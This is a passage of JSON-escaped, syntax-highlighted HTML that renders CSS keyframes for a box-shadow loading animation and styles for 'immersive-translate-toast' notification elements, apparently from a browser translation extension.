style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e36\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e120\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e110\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e130\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e120\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e110\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e62\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e130\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e120\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e110\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e75\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e130\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e120\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e87\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e130\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evar\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eloading\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e), \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-toast\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eflex\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efixed\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2147483647\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eright\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: fit-content;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eoverflow\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#fef6f9\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e30\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.06\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e15\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#333\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-toast-content\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eflex\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eflex-direction\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003erow\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ealign-items\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-toast-hidden\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e72\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etext-decoration\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunderline\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-toast-close\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#666666\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-weight\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ebold\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003emedia\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003escreen\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003emax-width\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e768px\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  .\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-toast\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  .\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-toast-content\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eflex-direction\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecolumn\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan 